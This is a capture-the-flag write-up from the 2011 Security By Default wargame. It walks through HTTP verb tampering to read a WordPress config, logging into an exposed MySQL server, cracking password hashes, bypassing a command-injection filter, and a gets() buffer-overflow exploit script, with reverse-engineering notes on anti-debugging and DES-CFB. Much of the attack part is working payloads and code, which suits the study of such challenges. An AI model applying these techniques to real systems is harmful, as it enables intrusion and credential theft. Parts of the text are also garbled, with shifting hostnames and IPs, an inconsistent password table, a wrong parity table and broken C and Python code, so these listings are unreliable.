http://wargame.securitybydefault.com/24045f796399865c82737e61137a4959/Wordpress/

Index of /24045f796399865c82737e61137a4959/Wordpress

<table>
<thead>
<tr>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Parent Directory</td>
<td>06-Dec-2008 07:47</td>
<td>15K</td>
<td></td>
</tr>
<tr>
<td>license.txt</td>
<td>08-Dec-2010 17:50</td>
<td>6.3K</td>
<td></td>
</tr>
<tr>
<td>readme.html</td>
<td>19-Apr-2010 12:01</td>
<td>4.3K</td>
<td></td>
</tr>
<tr>
<td>wp-activate.php</td>
<td>03-Jun-2010 21:00</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>wp-config-sample.php</td>
<td>25-Jul-2010 07:34</td>
<td>39K</td>
<td></td>
</tr>
<tr>
<td>wp-config.php</td>
<td>14-Oct-2008 06:22</td>
<td>22K</td>
<td></td>
</tr>
<tr>
<td>wp-blog-header.php</td>
<td>25-May-2008 15:50</td>
<td>27K</td>
<td></td>
</tr>
<tr>
<td>wp-commenter.php</td>
<td>06-May-2010 23:38</td>
<td>3.8K</td>
<td></td>
</tr>
<tr>
<td>wp-commentpress2.php</td>
<td>14-Oct-2008 06:22</td>
<td>238</td>
<td></td>
</tr>
<tr>
<td>wp-config-sample.php</td>
<td>25-May-2010 23:47</td>
<td>3.1K</td>
<td></td>
</tr>
<tr>
<td>wp-content/</td>
<td>06-May-2008 21:48</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>wp-cron.php</td>
<td>17-Mar-2010 04:39</td>
<td>1.2K</td>
<td></td>
</tr>
<tr>
<td>wp-functions.php</td>
<td>19-Apr-2010 12:03</td>
<td>240</td>
<td></td>
</tr>
<tr>
<td>wp-includes/</td>
<td>08-Dec-2010 18:17</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>wp-includes/openssl.php</td>
<td>18-Mar-2010 03:39</td>
<td>2.8K</td>
<td></td>
</tr>
<tr>
<td>wp-load.php</td>
<td>28-Feb-2010 12:19</td>
<td>2.4K</td>
<td></td>
</tr>
<tr>
<td>wp-logins.php</td>
<td>01-Jun-2010 15:54</td>
<td>25K</td>
<td></td>
</tr>
<tr>
<td>wp-mail.php</td>
<td>26-May-2010 02:42</td>
<td>7.6K</td>
<td></td>
</tr>
<tr>
<td>wp-mu.php</td>
<td>20-Apr-2010 21:50</td>
<td>487</td>
<td></td>
</tr>
<tr>
<td>wp-rdf.php</td>
<td>14-Oct-2008 06:22</td>
<td>218</td>
<td></td>
</tr>
<tr>
<td>wp-register.php</td>
<td>23-May-2008 15:50</td>
<td>316</td>
<td></td>
</tr>
<tr>
<td>wp-reg.php</td>
<td>14-Oct-2008 06:22</td>
<td>218</td>
<td></td>
</tr>
<tr>
<td>wp-rest.php</td>
<td>14-Oct-2008 06:22</td>
<td>220</td>
<td></td>
</tr>
<tr>
<td>wp-settings.php</td>
<td>02-May-2010 22:18</td>
<td>9.0K</td>
<td></td>
</tr>
<tr>
<td>wp-signup.php</td>
<td>21-Jul-2010 20:10</td>
<td>18K</td>
<td></td>
</tr>
<tr>
<td>wp-trackbacks.php</td>
<td>24-Feb-2010 20:13</td>
<td>3.6K</td>
<td></td>
</tr>
<tr>
<td>wp-login.php</td>
<td>08-Dec-2010 17:58</td>
<td>93K</td>
<td></td>
</tr>
</tbody>
</table>

Apache/2.2.16 (Debian) Server at wargame.securitybydefault.com Port 80
Files are downloadable (they don't get executed by the server) and we don't find anything interesting at first sight so we decide to mirror the whole tree and launch some local searches (with recursive / case insensitive “grep”) looking for keywords like “key”, “flag”, “password”, “sbd”, etc.

It is a bit frustrating when you find nothing. Why did we bother to do former step? Well, it's Wordpress and we all know that one of the most important file is “wp-config.php” which doesn't exist here (according to former listing).

Uhmmm, really? Let's try to access it with a browser:

http://wargame.securitybydefault.com/24045f796399865c82737e61137a4959/W0rdpress/wp-config.php

Server responds with:

Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.

More information about this error may be available in the server error log.

Ooops! If we make same test changing parent directory we get same error response. Conclusion: the system administrator deliberately filtered “wp-config.php" requests.

But wait! We are always issuing GET requests... let's try with different HTTP methods. For instance, we can attempt a HEAD request:

roman@hetzner:~$ telnet wargame.securitybydefault.com 80
Trying 178.35.113.36...
Connected to wargame.securitybydefault.com.
HEAD /24045f796399865c82737e61137a4959/W0rdpress/wp-config.php HTTP/1.1
Host: wargame.securitybydefault.com

HTTP/1.1 500 Internal Server Error
Date: Sat, 22 Jan 2011 19:02:18 GMT
Server: Apache/2.2.16 (Debian)
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8

Connection closed by foreign host.

Error 500 again. Let's try with POST:
Right! POST requests were not filtered!

Now we have Wordpress config file including MySQL connection data (marked in red). As you can see, Wordpress is configured to connect to a MySQL server bound to localhost (127.0.0.1).

Nevertheless, a quick telnet test shows that MySQL is also bound to public IP and it’s not firewall ed:

```
ronar@setzer:~$ telnet wargame.securitybydefault.com 3306
Trying 178.33.113.36...
Connected to wargame.securitybydefault.com.
Escape character is '^]'.
C
5.0.51a-24+lenny4+1-0+Y
tIh.MEJ*Go%```:; InrG
```
As we have MySQL credentials from wp-config.php file, we connect with a standard MySQL client and grab users table:

```
$ mysql -u wordpress -p wargame.securitybydefault.com
Welcome to the MySQL monitor. For help use 'help;'.
Your MySQL connection id is 1779
Server version: 5.0.52-4+deb.2+etch1-log (Debian)
Type 'help;' or '
' for help. Type '\c' to clear the buffer.
mysql> use wordpress
Reading table information for completion of table and column names
You can turn off this feature with 'readinfo off'
Database changed
mysql> show tables;
+-----------------------------+
| Tables_in_wordpress         |
+-----------------------------+
| wp_comments                 |
| wp_posts                    |
| wp_users                    |
| wp_usernames                |
| wp_users_roles              |
| wp_usercancel               |
| wp_usersmeta               |
+-----------------------------+
1 row in set (0.01 sec)
mysql> select * from wp_users;
+-----------------------------+
| user_login | user_pass  | user_nicename | user_email | user_data | user_registered | user_activation_key | user_status | display_name |
+-----------------------------+
| CrackMe     | 1234567890 |              |            |           |                |                    |             |              |
+-----------------------------+
1 row in set (0.02 sec)
mysql> |
```

The username (“CrackMe”) suggests us to crack the given password. It is a “phpass-MD5”-type password. The official build of “John the Ripper” password cracker cannot deal with this kind of passwords. But luckily we find there’s unofficial builds like this one:

**1.7.6-jumbo-9 build for Win32** (2.3 MB) by Robert B. Harris.

It includes **The jumbo patch for 1.7.6, revision 9**: “This patch integrates lots of contributed patches adding support for over 40 of additional hash and cipher types (including popular ones such as NTLM, raw MD5, etc.), as well as some optimizations and features. Most likely, this is the only patch you may need to apply. Requires OpenSSL 0.9.7+.”

Using that special build (which includes a patch to decrypt phpass-MD5 type passwords) we can decrypt our password very quickly:

Token
fuckyou
Web 3

Score
200

Description

- Ou Yeh: cmd = uptime!!

Solution

After looking carefully at the tip we directly pointed our browsers to the following URL:

http://wargame.securitybydefault.com:81/b44ef7c2bc49c8040d45b885b01c6a20/?cmd=uptime

In there, the page was supposedly executing the *nix command “uptime”, confirmed by the error showed:

Cannot find /proc/version - is /proc mounted?

Therefore we assumed that we could execute commands. We tried some standard ones but unfortunately they were not available on our target machine. With the exception of: id, who, uptime, sh.

At the same time the service was blocking some characters like / ' “ – and others. If one of these characters were detected in the cmd parameter, the page was returning as content just the word “attack” (no html, just that word). Also, some words were filtered… like ‘sh’. Some others were triggering a funny ‘you are not in an SQL challenge’ message like ‘or’.

We could extract all the accepted characters with this simple script:

```bash
#!/bin/bash
for i in $(seq 0 255);
do
c=$(printf \%\%\x $i);
curl "http://wargame.securitybydefault.com:81/b44ef7c2bc49c8040d45b885b01c6a20/?cmd=" $c |grep attack && echo "$i" >> filtered.txt;
done
```

From there we detect that the following chars are filtered:

```
\<space>  
#  
&  
\- 
< 
> 
\`
```
We immediately went for an echo * (echo is a built-in command, and the
star will automatically be expanded by the shell to the complete list of
files in the current directory) to check if we were in a shell popped by a
system() call or similar, but we could not use the space character…
Despite that, there are PLENTY of possibilities for solving our little
problem! One of the most common is to use a tab: 'x09 character.

http://wargame.securitybydefault.com:81/b44ef7c2bc49c8040d45b885b0
1c6a20/?cmd=echo%09*

index.a blogs2 users chkdsk who netstat netstatna uptime index.html
netcat cat ps secret password uname id finger reboot

Quite interesting… they seem commands, but we were not able to
execute them. We checked this by encoding with the tab trick a check
with echo%09$PWD (print current directory) and echo%09$PATH.

One can also take profit of the shell built-in commands. With that, all the
other limitations could also be bypassed. E.g.: trying to execute all
binaries in /bin (to see what we could potentially execute):

http://wargame.securitybydefault.com:81/b44ef7c2bc49c8040d45b885b0
1c6a20/?cmd=s%3d$(printf%09%25c%09$PWD);set%09${s}bin${s}*;while%09eval%09s${aa}hift%091;do%09echo%0

#!/bin/bash
s=$(printf %c $PWD) # Get the slash, $b will contain / from now on
set ${s}bin${s}* # Current positional parameters will be the list
of files on /bin/: $1 will be the first one, etc...
while eval s${aa}hift 1; #eval + empty var used for avoiding the 'sh'
filter
do
echo $1 #Print the name of the program
$1 #Execute the program
done

Pretty neat eh?

We could do the same for /usr/bin, and others, but at the end there were
no interesting commands at all. Let’s go back to the original list of files in
the current directory.

By looking at the list and the $PWD var one could imagine that the
working dir is the web serving directory of that application. We could try
to read the content of for example the first file: index.a

http://wargame.securitybydefault.com:81/b44ef7c2bc49c8040d45b885b0
1c6a20/index.a
That gave us an error page! Uhmm, bizarre…, we tried then the following URL:

```
http://wargame.securitybydefault.com:81/b44ef7c2bc49c8040d45b885b01c6a20/?cmd=* 
```

This would expand the star to the first file of the working directory and try to execute a command with that name. We were greeted with the following error message:

```
index.a  blogs2  users  chkdsk  who  netstatna  uptime: Command not found
```

Holy shit!! The first file is “index.a  blogs2  users  chkdsk  who  netstatna  uptime”, spaces included!!

This gave us the hint to differentiate the first output of `echo *`, and then playing with commands like `echo%09*netcat*`, etc… we could take the name of all the files in the directory. We tried one of them: “ps   secret password   uname   id   finger   reboot”:

```
http://wargame.securitybydefault.com:81/b44ef7c2bc49c8040d45b885b01c6a20/ps%20%20%20%20%20%20secret%20%20password%20%20uname%20%20id%20%20%20%20%20%20%20%20fingerprint%20%20%20reboot
```

And this gave us:

“You are in the way!”

And then another one:

```
http://wargame.securitybydefault.com:81/b44ef7c2bc49c8040d45b885b01c6a20/netcat%20%20%20%20cat
```

Finish! CrackItIfYouCan:$H$9/5MqpmpKfDvXYOBm0DkXLKak7/2T0

We cracked it the same way than in Web 2 and this was the result:

```
C:\DOCUME"\ronan\MISDOC"\Utilis\john-1.7.6-junho-9-win32\run\type web03.txt
SH9/5MqpmpKfDvXYOBm0DkXLKak7/2T0
C:\DOCUME"\ronan\MISDOC"\Utilis\john-1.7.6-junho-9-win32\run\john web03.txt
Using phpass mode, by linking to md5_gen(17) functions
Loaded 1 password hash (MDPass MD5 [phpass-MD5 SSH2])
abc123 (??)
guesses: 1 time: 0:00:00:00 100.00% (1) < (ETA: Sun Jan 23 20:46:20 2011) c/s: 2
206 trying: 12345 = falcon
```

**Token**

abc123
Binaries 1

Score
200

Description

- n00b-login

Solution

The first thing we did when we got this binary in our hands was, obviously, have a look to see what it seemed to be doing at runtime. If you launch the binary you’ll see something like this:

```
nullsub@tomatonia:/writeups$ ./n00b-login
--- Welcome to 'Epicness Security' systems.
Insert name: int3pids
Insert last name: int3pids
Insert sex: M
Insert birthday: 11/11/11
Insert passwd: int3pids
ALERT: You are not welcome.
```

Okay, fair enough, looks like our goal in this challenge is either to come up with a good combination of name/password or try to tamper the binary somehow.

It’s time to do some static analysis then! ;-)

The binary looks quite simple at first... strings have been obfuscated to prevent sneaky n00bs to get an idea of what it is actually doing:

These strings get dynamically generated on the stack and decrypted using two functions which are contained within the binary’s body: `tor()` and `untrash()` as shown in the following code snippet:

```
.text:08048738  mov  [esp+2080h+var_1FE5], ' hbL'
.text:08048743  mov  [esp+2080h+var_1FE1], ' ren'
.text:0804874E  mov  [esp+2080h+var_1FDD], ' gba'
.text:08048759  mov  [esp+2080h+var_1FD9], 'pyrj'
.text:08048764  mov  [esp+2080h+var_1FD5], '.rzb'
.text:0804876F  mov  [esp+2080h+var_1FD1], 0
.text:08048777  mov  [esp+2080h+var_2007], 'pvcR'
.text:0804877F  mov  [esp+2080h+var_2003], ' ra^^'
.text:08048787  mov  [esp+2080h+var_1FFF], ' -- -'
.text:08048792  mov  [esp+2080h+var_1FFB], '*ff_'
.text:0804879D  mov  [esp+2080h+var_1FF7], '{rF_'
```
Uhm... let’s forget for a sec about those strings and have a look at the actual logic of the code, here follows a C-ified version:

```c
int main()
{
...

char pass; // [sp+124h] [bp-1F5Ch]@1
char bday; // [sp+8F4h] [bp-178Ch]@1
char last_name; // [sp+10C4h] [bp-FBCh]@1
char name; // [sp+1894h] [bp-7ECh]@1
signed int i; // [sp+2064h] [bp-1Ch]@1
void *sex; // [sp+2068h] [bp-18h]@1
void *pMem; // [sp+206Ch] [bp-14h]@1

sex = malloc(0x7D0u);
pMem = malloc(4u);
...
*(_DWORD *)pMem = 0;
...
gets(&name);
...
gets(&last_name);
...
gets((char *)sex);
...
gets(&bday);
...
gets(&pass);
...
/
*  Check if the memory pointed by pMem contains any integer between -5 and 9 */

for ( i = -5; i <= 9; ++i )
{
    if ( *(_DWORD *)pMem == i )
    {
        v6 = tor(&v47);
        printf("ALERT: %s\n", v6);
    }
}
}
```
Basically, the code retrieves the user-entered data and checks whether a condition is met (*pMem != NULL) to output the magic token we need. However, looks like the data pointed by pMem would never get that value since it gets zeroed right after the memory is allocated.

There’re a few ways to bypass that “protection”. The easiest one would probably be to launch the binary with the debugger of your choice - or you could even use Radare - and tweak the code flow so that bleeding printf would get executed along with the previous decryption calls and you’d rule your own little binary world.

You could also try to manually extract and decrypt those strings but that looked booooring to us alright.

So we decided to go for a much fancier solution which could have even worked if we hadn’t had access to a debugger and is probably what the SbD guys had in mind when they designed this challenge... yay!, let’s break the code!
As everybody should know at this stage – we’re in feckin’ 2011 guys – gets() is kinda an unsafe function and it could break yer helloworlds()... there’re a few different variables that could be abused to get our damn token, the pointer which holds the memory address we want to be != NULL is at the bottom of the stack, we could potentially overwrite it abusing one of the upper vars and make it point to somewhere where the memory isn’t NULL, but… wait a minute... If we overwrite that pointer we’d also overwrite pSex, a gets() call is issued before we reach that point, so we’d need a writeable address, uhm... On the other hand, even if the memory isn’t filled with something else but zeros, that gets() call will, in turn, fill our memory... delicious!... We’re just missing an usable rw buffer... Let’s have a look at the binary....

Magic!! These guys made our day! Let’s give that a go! :-)

#!/usr/bin/python
name = '3' * (0x2068 - 0x1894)
lpMem = '\x24\xa0\x04\x08'
lpsex = '\x24\xa0\x04\x08'
lastname = 'int3pids\n'
bday = '01/01/01\n'
passwd = 'admin_r00t\n'
sex = 'YES\n'
f = file('n00bsol','wb')
f.write(name)
f.write(lpsex)
f.write(lpMem)
f.write('''
''')
f.write(lastname)
f.write(sex)
f.write(bday)
f.write(passwd)
f.close()
The previous code overwrites the buffer where name is being read, making pSex and pMem to point to the same address within the data read/write section and lets the magic happen :-)

```
tomatonia:/home/nullsub$ ./n00b-login < n00bsol
--- Welcome to 'Epicness Security' systems.
Insert name: Insert last name: Insert sex: Insert birthday:
Insert passwd: Damn it! SYSTEM FAILURE:
iTSeeMsThaTWeAreNotEpicnessAtAlL

Token
iTSeeMsThaTWeAreNotEpicnessAtAlL
```
Binaries 2

Score

200

Description

Damn! During our backup process, something went wrong! One of our binaries doesn't work now!

It seems that a library is missing...could you solve it?

NOTE: The library file must be included as part of the write-up which should be submitted if you solve the whole wargame.

See rules for more information ("Prize section")

- bin02
- We don't like """" use long answer.

Solution

We downloaded the binary and executed the file command on it:

```
$ file bin02
bin02: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.8, dynamically linked (uses shared libs), not stripped
```

We tried to execute it and got the following error:

```
$ ./bin02
./bin02: error while loading shared libraries: libSbD.so.1: cannot open shared object file: No such file or directory
```

As the description suggested, there is a missing dynamic library to be able to execute the binary. This library is called libSbD.so.1.

We used objdump to check which external dynamic symbols are used by the binary:

```
$ objdump -T ./bin02
./bin02: file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000  DF *UND*  0000001d GLIBC_2.0 __errno_location
```
From there we found that the functions that would have to be implemented in our binary are Decrypt and unbase64.

By using your disassembler of choice, you can locate the calls to these two functions and check the number of parameters of each (a simple objdump -d ./bin02 -M intel would make it!):

```
8048b44: c7 44 24 04 2c 00 00 mov    DWORD PTR [esp+0x4],0x2c ;second param
8048b4b: 00
8048b4c: c7 04 24 40 8d 04 08 mov    DWORD PTR [esp],0x8048d40 ;first param
8048b53: e8 fc fc ff ff          call   8048854 <unbase64@plt>
8048b58: 89 45 e4                mov    DWORD PTR [ebp-0x1c],eax ...
8048b8f: c7 44 24 08 64 00 00 mov    DWORD PTR [esp+0x8],0x64; third param
```
From there we got that Decrypt takes three parameters (probably key, cryptotext and length) and unbase64 takes two (base64 string and length). In fact, if we look carefully the second parameter of Decrypt is the output of the unbase64 ([ebp-0x1c]).

Then we did a ‘strings’ on the file to see if we could locate the ciphertext and the key quickly:

$ strings bin02

PTRh
Worl
doFL
ustA
ndCr
[^_]
Whassup ! [01]!!
Whassup ! [02]!!
Whassup ! [03]!!
pkill gdb
pkill radare
Warning : Cannot create thread !
Warning : Cannot join thread !
q1FkQzuCQQ2KUUT2sN6XhgaZBMJO+LjQxrH331WXh8=
Too much time ...
Your token is : %s

If we do a reverse analysis on the binary, we will notice that it has four ‘antidebugging’ tricks (corresponding to the Whassup \[d\] messages above and the pkills). We’ll explain them but anyway we don’t even need to do something about them as we already have enough information to proceed with the challenge.

The pseudo-code for the first one is:

```c
if ( close(3) != -1 ) {
    puts("Whassup ! [01]!!");
    exit(-1);
```
This piece of code tries to close file descriptor 3, and if it can, then the program does not continue and exits. This is a way to detect GDB because it opens several file descriptors.

Before fork()’ing for launching the program to be debugged, and these file descriptors are inherited by the debugee. ([http://xorl.wordpress.com/2009/01/05/more-gdb-anti-debugging/](http://xorl.wordpress.com/2009/01/05/more-gdb-anti-debugging/))

The pseudo-code for the second is:

```c
if ( strcmp(argv[0], getenv(“_”)) ) {
    puts("Whassup ! [02]!!");
    exit(-1);
}
```

The environment variable named “_” is used by the shell and it stores the last argument of the command executed. In this case the author wants to check if the execution of the program is the result of launching a program and putting ‘bin02’ as argument from the shell. For example we executed gdb ./bin02, before gdb is executed the shell will put _ to be “./bin02” and when bin02 is executed the check above will match.

The pseudo-code for the third is:

```c
if ( getsid(getpid()) != getppid() ){
    puts("Whassup ! [03]!!");
    exit(-1);
}
```

Basically, what the author wanted to check here is whether the program was directly launched from the login shell, basically what it checks is that the process ID of the parent of our program is the same as the process group ID of the session leader (that normally matches the process ID of the leader).

The fourth antidebugging tricks are just system(“pkill gdb”) and system(“pkill radare”) that try to kill processes called gdb or radare, two debuggers.

Why we don’t even need that? Because we can already build our library and thanks to the information we have collected we can define it in a way to get the information we need (in fact we can already guess it by the strings output).

Let’s build our library and execute our program like this:

```
$ cat libSbD.c
```
#include <stdio.h>

char *Decrypt(char *key, char *ciphertext, int len) {
    printf("Key: %s\n",key);
    printf("Ciphertext: %s\n",ciphertext);
    return "";
}

cchar *unbase64(char *str, int len) {
    printf("unbase64: %s\n",str);
    return str;
}

$ gcc -fpic -shared -o libSbD.so.1 libSbD.c
$ LD_LIBRARY_PATH=. ./bin02
unbase64: q1fKQzuCQQ2KUUT2sN6XhgaZBmJO+LjQxrH331WXh8=
Key: WorldOfLustAndCrime
Ciphertext: q1fKQzuCQQ2KUUT2sN6XhgaZBmJO+LjQxrH331WXh8=
Your token is :

Cool! We could already imagine what we needed to do. The long string seems a base64 string that would correspond to the ciphertext, and the decryption key should be “WorldOfLustAndCrime”… Good… but what about the algorithm for encryption?

We didn’t find any clue about this in the binary, therefore we tried to bruteforce the most typical ones (we know the encryption key and the ciphertext) and check if there was any legible text. For that, we used the M2Crypto library for python, and based our code in the unit tests for the building of the library.
(http://svn.osafoundation.org/m2crypto/tags/0.21.1/tests/)

#!/usr/bin/python2.6
from binascii import hexlify, unhexlify
from M2Crypto import EVP
import base64
import string

message="q1fKQzuCQQ2KUUT2sN6XhgaZBmJO+LjQxrH331WXh8=
mykey="WorldOfLustAndCrime"

ddebug=0

mymessage=base64.b64decode(message)
#Percentage score of printable characters
def score(str):
    points=0
    for i in str:
        if string.printable.find(i)>0:
            points += 1
    points=(points*100)/len(str)
    return points
def test_ciphers(in_iv, in_key):
    ciphers = [
        'des_ede_ecb', 'des_ede_cbc', 'des_ede_cfb',
        'des_ede_ofb', 'des_ede3_ecb', 'des_ede3_cbc',
        'aes_128_cbc', 'aes_128_cfb', 'aes_128_ofb',
        'aes_192_cbc', 'aes_192_cfb', 'aes_192_ofb',
        'aes_256_cbc', 'aes_256_cfb', 'aes_256_ofb',
        'bf_ecb', 'bf_cbc', 'bf_cfb', 'bf_ofb',
        'idea_ecb', 'idea_cbc', 'idea_cfb', 'idea_ofb',
        'cast5_ecb', 'cast5_cbc', 'cast5_cfb', 'cast5_ofb',
        'rc5_ecb', 'rc5_cbc', 'rc5_cfb', 'rc5_ofb',
        'des_ecb', 'des_cbc', 'des_cfb', 'des_ofb',
        'rc4', 'rc2_40_cbc']
    for i in ciphers:
        try:
            try_algo(i, in_iv, in_key)
        except Exception as e:
            if debug:
                print "Error decrypting... %s, %s" % (i, str(e))

def try_algo(algo, in_iv, in_key):
    enc = 1
    dec = 0
    cipher = EVP.Cipher(alg=algo, key=in_key, op=dec, iv=in_iv)
    plaintext = cipher.update(mymessage)
    plaintext += cipher.final()
    if (score(plaintext) > 50):
        print "Result with %s: %s" % (algo, plaintext)

test_ciphers("\x00"*16, mykey)

$ python2.6 findcrypt.py
Result with des_cfb: a%?
  w??no place for me to hide

Bingo! It seems that we have a match with DES-CFB (take note that our program only outputs the algorithms where more than 50% is printable ASCII). It seems that the first eight characters are garbled but the legible output is too much of a coincidence, therefore we assumed that it had to be DES-CFB.

From that point on and knowing that we miss only eight chars, the obvious phrase “There’s no place for me to hide” came to our mind. And after trying, the organization realized that their scoring system did not allow to provide single quotes, that’s why the second hint “use a long answer” appeared and made the solution to be “There is no place for me to hide”. At this point we have already scored, but let’s explain why our output was garbled.
CFB is a method of making a stream cipher out of a block cipher. The decryption mechanism for the Wikipedia is the following:

![Diagram of Cipher Feedback (CFB) mode decryption]

By looking at it we can quickly see that our first deciphered block of eight characters (the block size of DES is 64 bit: 8 char) will be constructed by: the first 8 characters of ciphertext, the key, and the initialization vector (and of course the DES algorithm).

As a result, and knowing that the rest of blocks where decrypted successfully (therefore the key is OK), that could only mean that the IV is wrong (or that the first 8 bytes of ciphertext are wrong, but let's trust the organization on this one ;-)

In fact, if one looks for a des_cfb example using openssl one could find that normally they use as IV the same as the key... we did that in our python code and... again junk in the first 8 bytes...

Now one has to remember that DES keys are 56 bit long... Therefore, our original key “WorldOfLustAndCrime” is too long... but in fact if we cut it to be key and IV: “WorldOf” and try our python code then we don’t get anything readable at all... Interestingly enough if we use “WorldOf” again for key and IV we get the first output (M2Crypto uses openssl underneath).

In fact, DES keys are normally given as 8 characters long BUT only 56 bits are extracted from them. And these are the first 7 bits of each character; the 8th bit of each byte is normally an odd parity bit (although for the algorithm itself it is just ignored). Uhmm, we are getting closer to the mystery...

DES has no IV but for des_cfb the IV is used in the decryption of the first block, the underneath des implementation takes care of the decryption using only 56 bits and discarding the 8th bit, but the part of the IV that is done in the des_cfb implementation uses the FULL 64 bits. The solution is to take the key, and initialize the 8th bit as an odd parity bit of the rest:
#!usr/bin/python2.6
odd_parity= [
  1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
  16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28,
  31, 31, 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42,
  44, 44, 47, 47, 49, 49, 50, 50, 52, 52, 55, 55, 56, 56,
  59, 59, 61, 61, 62, 62, 64, 64, 67, 67, 69, 69, 70, 70,
  73, 73, 74, 74, 76, 76, 79, 79, 81, 81, 82, 82, 84, 84,
  87, 87, 88, 88, 91, 91, 93, 93, 94, 94, 97, 97, 98, 98,
  100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110,
  110, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122,
  122, 124, 127, 127, 128, 128, 131, 131, 133, 133, 134,
  134, 137, 137, 138, 138, 140, 140, 143, 143, 145, 145,
  146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157,
  157, 158, 158, 161, 161, 162, 162, 164, 164, 167, 167,
  168, 168, 171, 171, 173, 173, 174, 174, 176, 176, 179,
  179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188,
  191, 191, 193, 193, 194, 194, 196, 196, 199, 199, 200,
  200, 203, 203, 205, 205, 206, 206, 208, 208, 211, 211,
  213, 213, 214, 214, 217, 217, 218, 218, 220, 220, 223,
  223, 224, 224, 227, 227, 229, 229, 230, 230, 233, 233,
  234, 234, 236, 236, 239, 239, 241, 241, 242, 242, 244,
  244, 247, 247, 248, 248, 251, 251, 253, 253, 253, 254,
  254, 254]

#Transform the 8th bit of each bit in a odd parity bit of the rest

def get_odd_parity(str):
  out=""
  for i in str:
    out+=chr(odd_parity[ord(i)])
  return out

print get_odd_parity("WorldOfL")

$ python2.6 odd.py
WnsmdOgL

If we try that as IV and KEY we'll get the correct message:

$k=$(echo WnsmdOgL|hexdump -e '1/1 "%02x"');echo \
 q1fFkQzuCQQ2KUUT2sN6XhgaZBmJO+LjQxrH331WXh8= | openssl \
 enc -a -d -des-cfb -K $k -iv $k
There's no place for me to hide

Mystery solved! In fact openssl has a function exactly for that DES_set_odd_parity().

And as asked... we provide here the full implementation of the library (most of the code has been directly copied from different sources):

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <openssl/des.h>
#include <openssl/bio.h>

static const char table[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"
static const int BASE64_INPUT_SIZE = 57;

char *Decrypt(char *Key, char *Msg, int size) {
    static char *Res;
    int n = 0;
    DES_cblock Key2;
    DES_key_schedule schedule;

    Res = (char *) malloc(size);
    memcpy(Key2, Key, 8);
    DES_set_odd_parity(&Key2);
    DES_set_key_checked(&Key2, &schedule);

    DES_cfb64_encrypt((unsigned char *)Msg, (unsigned char *)Res,
        size, &schedule, &Key2, &n, DES_DECRYPT);
    return (Res);
}

int isbase64(char c) {
    return c && strchr(table, c) != NULL;
}

char value(char c) {
    const char *p = strchr(table, c);
    if(!) {
        return p-table;
    } else {
        return 0;
    }
}

int unbase64(const unsigned char *src, int srclen) {
    char *dest = malloc(srclen);
    *dest = 0;
    if(!src == 0) {
        return 0;
    }

    unsigned char *p = dest;
    do {
        char a = value(src[0]);
        char b = value(src[1]);
        char c = value(src[2]);
        char d = value(src[3]);
        *p++ = (a << 2) | (b >> 4);
        *p++ = (b << 4) | (c >> 2);
        *p++ = (c << 6) | d;
        if(!isbase64(src[1])) {
            p -= 2;
            break;
        } else if(!isbase64(src[2])) {
            p -= 2;
            break;
        } else if(!isbase64(src[3])) {
            p--;
            break;
    }
} 
src += 4;
while(*src && (*src == 13 || *src == 10)) src++;
}
while(srclen--);
*p = 0;
return dest;

$ gcc -fPIC -shared -o libSbD.so.1 libsbd.c -lcrypto
$ LD_LIBRARY_PATH=. ./bin02
Your token is : There's no place for me to hide

**Token**

There is no place for me to hide
Binaries 3

Score
200

Description

- bin03

Solution

This one was actually probably easier than Binaries 2. The first thing that came to our attention was its big size (3.6M!). Anyway, as always, we decided to launch it to see how it behaved:

nullsub@tomatonia:~/sbd$ ./bin03
Which worm virus is known as the first in history of computer worms morris
Which Microsoft Bulletin referred the Unicode Vulnerability MS-33J1T
Whats the most important piece of software in Matrix II Neo's crotch
Doh ! some answers are wrong !!
You have answered right 1 questions

It looked to us like a quiz alright... we grepped for some strings and found out that it was somehow related to Perl (uhm.. maybe compiled/packaged?), we first thought it could have been done with something like “perlcc” but after a few minutes looking around we noticed the presence of the following strings:

nullsub@tomatonia:~/sbd$ strings bin03 |grep -i active
ACTIVESTATE_HOME
ActiveState
ACTIVESTATE_LICENSE
ActiveState.lic
Perl_boot_core_ActivePerl
Make sure the ActivePerl bin directory is in your PATH
Panic: ‘%s’ is not an ActivePerl 5.10 library
Panic: ‘%s’ is not an ActivePerl library

Right after, we found the product it had been packaged with:
http://community.activestate.com/tags/perlapp
After a little bit of research (trying to see if there were any available decompilers/extractors/etc.), we came across the following info on ActiveState's website:

**Code obfuscation**  
OS: All / Any | Product: Perl Dev Kit | tags: executable obfuscation perlapp

**Question:**  
Will people be able to decompile the executables I’ve made with PerlApp?

**Answer:**  
PerlApp does provide some level of code obfuscation. Decompiling executables is not trivial, but it is possible.

Critical copyrighted data and algorithms should not be included in Perl code within a PerlApp. If you are concerned about keeping important parts of your code secret, you may want to consider some workarounds such as:

- using strong encryption for critical data
- implementing critical algorithms as XS modules that can be used by your Perl code.

Okay, they probably mangled the packaged sources on some way. We were lazy to try to figure out how, and started thinking on alternative ways to solve it…

We’ve seen multiple different challenges on many other wargames like this one and most of them usually get solved by dumping the process’ heap, so that's what we went for:
Now, let's try to find something related to the code we're looking for within those memory dumps:

```
nullsub@tomatonia:~$ sbd$ memfetch 11617
[*] Attached to PID 11617 (/home/nullsub/sbd/bin03).
[*] Writing master information to mfetch.lst.
.. Writing map at 0x08048000 (69632 bytes)... [N] done (map-000.bin)
Writing map at 0x08059000 (8192 bytes)... [S] done (map-001.bin)
Writing mem at 0x09743000 (3481600 bytes)... [S] done (mem-002.bin)
Writing map at 0xb6c45000 (69632 bytes)... [S] done (map-003.bin)
